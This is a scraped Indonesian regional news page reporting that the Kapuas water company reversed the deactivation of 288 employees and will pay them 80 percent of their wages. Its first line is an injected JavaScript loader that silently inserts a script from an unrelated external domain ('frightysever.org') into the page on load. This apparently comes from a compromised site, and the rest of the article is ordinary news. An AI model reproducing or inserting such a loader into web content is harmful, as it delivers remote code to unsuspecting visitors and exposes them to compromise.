(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

288 Karyawan PDAM Kapuas Batal Dirumahkan, Ini Penjelasan Pjs Direktur


KANALKALIMANTAN.COM, KUALA KAPUAS – Hasil assessment karyawan Perusahaan Daerah Air Minum (PDAM) Tirta Pambelum Kapuas yang dinonaktifkan sejak Jumat 21 Januari 2022, menjadi polemik perusahaan daerah terus berlanjut. Karyawan yang tidak terima hasil pengumuman memprotes dengan mempertanyakan melalui DPRD Kapuas maupun mediasi yang difasilitasi Polres Kapuas. Akhirnya, Rabu (26/1/2022) malam, pengumuman penonaktifan ratusan karyawan itu dibatalkan.

Karyawan yang melakukan aksi protes meminta tenang dan sabar mendengar hasil perundingan yang mereka tunggu tunggu dari dewan direksi.

“Dewan Direksi PDAM Kapuas telah melakukan rapat dengan pemilik modal, Bupati Kapuas juga Sekda Kapuas, pengawas dan jajaran lainnya, akan menyampaikan hasil malam ini, semoga ini yang terbaik, soal tanya jawab kita tunda nanti untuk menghemat waktu,” ucap Kompol Edia Sutaata, Kabag Ops Polres Kapuas.

Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto Suryadhi menyampaikan setelah berkoordinasi banyak dengan Bupati Kapuas selaku pemilik modal dan Sekda kapuas, pertama yang disampaikan adalah menganulir pengumuman.

 

 

Baca juga: Satlantas Polres Kapuas Tertibkan Motor Pakai Knalpot Brong

“Jadi sekitar 288 orang pegawai tetap dan capeg kembali masuk bekerja mulai besok,” tegasnya.

“Kami juga akan mengevaluasi karyawan kontrak dengan capeg yang habis masa kerjanya, karena memang kondisi keuangan perusahaan tidak memungkinkan. Hak karyawan kontrak tetap dibayarkan melihat kondisi keuangan,” beber Kristanto Suryadhi.

Ditambahkannya, untuk karyawan yang bekerja mulai besok, gaji akan dibayarkan 80 persen, dan 20 persen dianggap hutang, sambil kita memperbaiki kondisi keuangan perusahaan, ungkap Kristanto. Putusan itu langsung disambut gembira oleh karyawan yang hadir saat pengumuman disampaikan. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.